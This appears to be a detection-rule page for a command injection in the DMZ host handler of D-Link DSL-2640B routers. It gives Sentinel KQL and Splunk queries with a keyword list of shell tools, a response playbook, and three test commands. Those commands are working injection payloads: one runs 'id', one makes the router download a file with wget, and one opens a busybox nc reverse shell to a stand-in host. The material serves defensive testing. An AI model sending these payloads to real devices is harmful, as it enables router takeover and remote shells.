Skip to content
CVE-2026-138289 Microsoft Sentinel · KQL

Detect D-Link DSL-2640B DMZ Host Command Injection (CVE-2026-138289) in Microsoft Sentinel

Detects exploitation of CVE-2026-138289, an OS command injection vulnerability (CWE-77/CWE-78) in the SecCfgMngr::setDmzHost function of the DMZ Host Handler on D-Link DSL-2640B routers (firmware 3.0.6.0.41). An attacker able to reach the device web management interface can supply a crafted DMZ host address value containing shell metacharacters (e.g. ;, |, &, `, $()) that is passed unsanitized into a system shell command, achieving arbitrary command execution. The attack may be initiated remotely. CVSS 8.6 (NVD). A public write-up and public exploit exist. Detection focuses on HTTP requests to the DMZ configuration handler containing shell metacharacters, and on proxy/device telemetry showing anomalous command strings in DMZ address parameters.

Based on dujiaode DSL2640B scdmz DMZ address command injection write-up

MITRE ATT&CK

Tactic
Initial Access Execution

KQL Detection Query

Microsoft Sentinel (KQL)
kusto
// df00tech DF00-75342edc32 · https://df00tech.com/detections/CVE-2026-138289 · licence: https://df00tech.com/detections/licence
let metachars = dynamic([";", "|", "&", "`", "$(", "$(", "%3B", "%7C", "%26", "%60", "%24", "wget", "curl", "tftp", "nc ", "busybox", "/bin/sh", "chmod"]);
W3CIISLog
| union (CommonSecurityLog | where DeviceVendor has "D-Link" or DeviceProduct has "DSL-2640B")
| where RequestURI has_any ("scdmz", "dmz", "setDmzHost", "dmzhost", "sec_cfg") or csUriQuery has_any ("dmz", "scdmz")
| extend Params = strcat(tostring(RequestURI), " ", tostring(csUriQuery), " ", tostring(RequestBody))
| where Params has_any (metachars)
| project TimeGenerated, SrcIp = coalesce(column_ifexists("cIp",""), SourceIP), RequestURI, Params, UserAgent = coalesce(column_ifexists("csUserAgent",""), DeviceCustomString1)
| sort by TimeGenerated desc
critical severity medium confidence

Flags HTTP requests to the D-Link DSL-2640B DMZ host configuration endpoint that contain shell metacharacters or download/execution commands in the DMZ address parameter, indicating command injection against SecCfgMngr::setDmzHost.

Data Sources

IIS/Web proxy logsNetwork device syslog (CEF)

Required Tables

W3CIISLogCommonSecurityLog

False Positives & Tuning

  • Legitimate administrator configuring a DMZ host whose hostname coincidentally contains an ampersand in a URL-encoded redirect
  • Vulnerability scanners (Nessus, Qualys) probing the DMZ handler during authorized assessments
  • Security teams running the public write-up PoC in a test lab

Other platforms for CVE-2026-138289


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 DMZ host command injection via semicolon

    Expected signal: Proxy/IIS/device log entry for POST to scdmz.cmd containing a semicolon and the string 'id' in the dmzHost parameter.

  2. Test 2 DMZ host remote payload download via wget

    Expected signal: Network log showing POST to the DMZ handler with backticks and 'wget' plus an outbound HTTP request from the device to 198.51.100.10.

  3. Test 3 URL-encoded command injection in DMZ parameter

    Expected signal: Proxy log containing %3B / %26 encoded metacharacters and 'busybox' in the dmzHost query parameter.


Response Playbook

Triage

  1. Confirm the source device is a D-Link DSL-2640B (firmware 3.0.6.0.41) by checking asset inventory or the device User-Agent/Server banner in the flagged request.
  2. Extract and decode the DMZ address parameter from the request; identify the injected command (e.g. wget/tftp download, reverse shell, chmod of a dropped binary).
  3. Determine whether the request succeeded (HTTP 200 and configuration change) versus blocked/errored, and whether the source IP is internal management or external.
  4. Correlate the source IP against threat intel and recent authentication events on the device management interface.

Containment

  1. Block the attacker source IP at the perimeter firewall and isolate the affected D-Link device from the LAN/WAN if command execution is confirmed.
  2. Disable remote/WAN management on the DSL-2640B and restrict the web management interface to a trusted management VLAN.
  3. Power-cycle or factory-reset the affected device after capturing evidence, as embedded command injection may have installed persistent implants.

Evidence Collection

  1. Capture the full HTTP request (headers, URI, body) containing the injected DMZ host value from proxy/IIS/syslog.
  2. Export device configuration (current DMZ host setting) and, if accessible, the device's running process list and /tmp contents to identify dropped payloads.
  3. Preserve any downloaded payloads referenced by wget/tftp/curl commands by retrieving them from the staging URL in a sandbox.

Escalation Criteria

  • !Escalate to incident response if command execution is confirmed (device beaconing, outbound connections to the injected download URL, or a new process/binary present).
  • !Escalate to network operations if multiple DSL-2640B devices show the same injection pattern, indicating mass exploitation.
  • !Escalate to vendor/CERT coordination if in-the-wild exploitation is observed, given that a public exploit exists.

Investigation Guide

Forensic Artifacts

  • >Web/proxy access logs showing requests to the scdmz/setDmzHost endpoint with metacharacters.
  • >Device NVRAM/configuration backup containing the malicious DMZ host string.
  • >Dropped files in /tmp or /var and anomalous outbound connections from the device to a download URL.

Tuning Guidance

Scope the queries to the subnet or asset group containing D-Link DSL-2640B devices to reduce noise. Allowlist known management/scanner source IPs used for authorized assessments. If the device web interface normally receives URL-encoded special characters in legitimate fields, tighten the metacharacter regex to require download utilities (wget/curl/tftp/busybox) co-occurring with metacharacters. Alert fidelity is highest on externally-sourced requests to the management interface.


Hunting Queries

Hunts for repeated DMZ host configuration requests carrying shell metacharacters or download utilities across the environment.

Hunting — KQL
kql
// df00tech DF00-75342edc32 · https://df00tech.com/detections/CVE-2026-138289 · licence: https://df00tech.com/detections/licence
W3CIISLog | where RequestURI has_any ("dmz","scdmz","setDmzHost") | where csUriQuery has_any (";","|","&","wget","curl","busybox") | summarize count() by cIp, RequestURI, bin(TimeGenerated, 1h)
Hunting — SPL
spl
``` df00tech DF00-75342edc32 · https://df00tech.com/detections/CVE-2026-138289 · licence: https://df00tech.com/detections/licence ```
index=proxy (uri_path="*dmz*" OR uri_path="*scdmz*") | regex _raw="(?i)([;|&`]|wget|curl|tftp|busybox)" | stats count by src_ip uri_path

Atomic Red Team Tests

Test 1 DMZ host command injection via semicolon
linux

Sends a crafted request to the DMZ host handler with a semicolon-separated shell command appended to the DMZ address value.

Command

bash
curl -s -X POST 'http://192.168.1.1/scdmz.cmd' --data-urlencode 'dmzHost=192.168.1.100; id > /tmp/argus_poc.txt'

Cleanup

bash
curl -s -X POST 'http://192.168.1.1/scdmz.cmd' --data-urlencode 'dmzHost=' ; rm -f /tmp/argus_poc.txt

Expected Telemetry

Proxy/IIS/device log entry for POST to scdmz.cmd containing a semicolon and the string 'id' in the dmzHost parameter.

Expected Detection

KQL/SPL rules match on the dmz endpoint plus metacharacter (;) in the parameter.

Test 2 DMZ host remote payload download via wget
linux

Injects a wget command into the DMZ address value to stage a remote payload, simulating malware delivery.

Command

bash
curl -s -X POST 'http://192.168.1.1/scdmz.cmd' --data-urlencode 'dmzHost=192.168.1.100`wget http://198.51.100.10/m -O /tmp/m`'

Cleanup

bash
ssh [email protected] 'rm -f /tmp/m' 2>/dev/null; curl -s -X POST 'http://192.168.1.1/scdmz.cmd' --data-urlencode 'dmzHost='

Expected Telemetry

Network log showing POST to the DMZ handler with backticks and 'wget' plus an outbound HTTP request from the device to 198.51.100.10.

Expected Detection

Detection rules fire on the dmz endpoint containing backtick/$() and the wget utility string.

Test 3 URL-encoded command injection in DMZ parameter
linux

Sends URL-encoded shell metacharacters in the DMZ address value to bypass naive filters.

Command

bash
curl -s 'http://192.168.1.1/scdmz.cmd?dmzHost=192.168.1.100%3Bbusybox%20nc%20198.51.100.10%204444%20-e%20%2Fbin%2Fsh'

Cleanup

bash
curl -s 'http://192.168.1.1/scdmz.cmd?dmzHost='

Expected Telemetry

Proxy log containing %3B / %26 encoded metacharacters and 'busybox' in the dmzHost query parameter.

Expected Detection

Rules match URL-encoded metacharacters (%3B/%7C/%26) and the busybox string on the dmz endpoint.

Related Detections